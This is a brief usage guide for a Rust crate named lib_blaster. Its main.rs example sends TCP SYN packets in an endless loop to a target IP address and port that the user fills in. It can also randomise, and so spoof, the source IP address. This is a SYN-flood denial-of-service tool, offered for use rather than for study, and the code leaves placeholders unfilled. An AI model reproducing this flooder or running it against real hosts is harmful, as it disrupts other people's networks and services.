lib_blaster instruction

1. new a binary crate and add `lib_blaster = "0.1"` to Cargo.toml
2. write following code to main.rs:
```rust
extern crate lib_blaster;
extern crate rand;

use lib_blaster::collector::Collector;
use lib_blaster::sender::send_syn;
use lib_blaster::tools::rand_ipv4;
use rand::random;
use std::net::Ipv4Addr;
use std::thread;
use std::time::Duration;

fn main() {
    loop {
        match send_syn(&Collector {
            src_ip: // use `rand_ipv4` or new a Ipv4Addr
            dst_ip: Ipv4Addr::new(// Something, your target),
            src_port: random::<u16>(), // use random or a fixed port
            dst_port: // target port,
        }) {
            Ok(_) => println!("Sent Successfully"),
            Err(e) => println!("Err: {}", e),
        }
        thread::sleep(Duration::from_millis(100)); // add it or not
    }
}